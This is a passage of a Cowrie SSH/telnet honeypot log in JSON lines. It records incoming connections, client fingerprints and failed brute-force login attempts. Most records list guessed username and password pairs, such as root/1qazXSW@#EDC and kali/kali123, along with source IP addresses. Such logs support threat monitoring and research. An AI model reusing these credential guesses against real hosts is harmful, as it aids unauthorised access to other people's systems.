"hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:27.133496Z","src_ip":"125.21.53.232","session":"cc1795224f49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tiger","password":"tiger","message":"login attempt [tiger/tiger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:28.011556Z","src_ip":"125.21.53.232","session":"cc1795224f49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":33862,"dst_ip":"159.203.135.109","dst_port":22,"session":"c66f519b0de0","protocol":"ssh","message":"New connection: 69.6.221.248:33862 (159.203.135.109:22) [session: c66f519b0de0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:28.659691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:28.664379Z","src_ip":"69.6.221.248","session":"c66f519b0de0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:28.777784Z","src_ip":"69.6.221.248","session":"c66f519b0de0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:29.224991Z","src_ip":"125.21.53.232","session":"cc1795224f49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali123","message":"login attempt [kali/kali123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:29.263746Z","src_ip":"69.6.221.248","session":"c66f519b0de0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:30.383637Z","src_ip":"69.6.221.248","session":"c66f519b0de0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.174.185","src_port":54824,"dst_ip":"159.203.135.109","dst_port":22,"session":"007516e70de9","protocol":"ssh","message":"New connection: 167.172.174.185:54824 (159.203.135.109:22) [session: 007516e70de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:30.806656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:30.810735Z","src_ip":"167.172.174.185","session":"007516e70de9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:30.908097Z","src_ip":"167.172.174.185","session":"007516e70de9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frank","password":"123","message":"login attempt [frank/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:31.307876Z","src_ip":"167.172.174.185","session":"007516e70de9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:32.408336Z","src_ip":"167.172.174.185","session":"007516e70de9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.183.120.56","src_port":51430,"dst_ip":"159.203.135.109","dst_port":22,"session":"607fde255b89","protocol":"ssh","message":"New connection: 213.183.120.56:51430 (159.203.135.109:22) [session: 607fde255b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:42.002553Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.194.4.255","src_port":50086,"dst_ip":"159.203.135.109","dst_port":22,"session":"c65ff2048140","protocol":"ssh","message":"New connection: 4.194.4.255:50086 (159.203.135.109:22) [session: c65ff2048140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:46.953925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:46.957452Z","src_ip":"4.194.4.255","session":"c65ff2048140","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:47.203456Z","src_ip":"4.194.4.255","session":"c65ff2048140","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lol","password":"lol","message":"login attempt [lol/lol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:48.215151Z","src_ip":"4.194.4.255","session":"c65ff2048140","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:49.463449Z","src_ip":"4.194.4.255","session":"c65ff2048140","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":55070,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9aaca210c0c","protocol":"telnet","message":"New connection: 69.4.83.194:55070 (159.203.135.109:23) [session: f9aaca210c0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:58:53.994030Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.221.127","src_port":59322,"dst_ip":"159.203.135.109","dst_port":22,"session":"c21ac33247c9","protocol":"ssh","message":"New connection: 143.198.221.127:59322 (159.203.135.109:22) [session: c21ac33247c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:08.306990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:08.310834Z","src_ip":"143.198.221.127","session":"c21ac33247c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:08.563669Z","src_ip":"143.198.221.127","session":"c21ac33247c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@#EDC","message":"login attempt [root/1qazXSW@#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:09.608075Z","src_ip":"143.198.221.127","session":"c21ac33247c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:10.864707Z","src_ip":"143.198.221.127","session":"c21ac33247c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:13.381171Z","src_ip":"213.183.120.56","session":"368e6c8ad658","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.21.53.232","src_port":52058,"dst_ip":"159.203.135.109","dst_port":22,"session":"def8b1c0aa13","protocol":"ssh","message":"New connection: 125.21.53.232:52058 (159.203.135.109:22) [session: def8b1c0aa13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:20.084845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:20.089517Z","src_ip":"125.21.53.232","session":"def8b1c0aa13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:20.304095Z","src_ip":"125.21.53.232","session":"def8b1c0aa13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data2025","message":"login attempt [data/data2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:21.176648Z","src_ip":"125.21.53.232","session":"def8b1c0aa13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:22.390278Z","src_ip":"125.21.53.232","session":"def8b1c0aa13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.21471047401428,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:27.208656Z","src_ip":"69.4.83.194","session":"f9aaca210c0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.191.178","src_port":49532,"dst_ip":"10.17.0.5","dst_port":22,"session":"571e5cd674c7","protocol":"ssh","message":"New connection: 165.232.191.178:49532 (10.17.0.5:22) [session: 571e5cd674c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:37.755872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:37.760304Z","src_ip":"165.232.191.178","session":"571e5cd674c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:37.969860Z","src_ip":"165.232.191.178","session":"571e5cd674c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.50.25.190","src_port":43756,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cea2f54f450","protocol":"ssh","message":"New connection: 27.50.25.190:43756 (159.203.135.109:22) [session: 7cea2f54f450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:39.668327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:39.673284Z","src_ip":"27.50.25.190","session":"7cea2f54f450","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:39.903414Z","src_ip":"27.50.25.190","session":"7cea2f54f450","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:40.854548Z","src_ip":"27.50.25.190","session":"7cea2f54f450","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:42.086359Z","src_ip":"27.50.25.190","session":"7cea2f54f450","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":45864,"dst_ip":"159.203.135.109","dst_port":23,"session":"a144b0d6123c","protocol":"telnet","message":"New connection: 69.4.83.194:45864 (159.203.135.109:23) [session: a144b0d6123c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:44.125674Z"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:45.756984Z","src_ip":"165.232.191.178","session":"571e5cd674c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":44420,"dst_ip":"159.203.135.109","dst_port":22,"session":"377fa5d0f007","protocol":"ssh","message":"New connection: 103.148.100.146:44420 (159.203.135.109:22) [session: 377fa5d0f007]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:50.358587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:50.363423Z","src_ip":"103.148.100.146","session":"377fa5d0f007","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 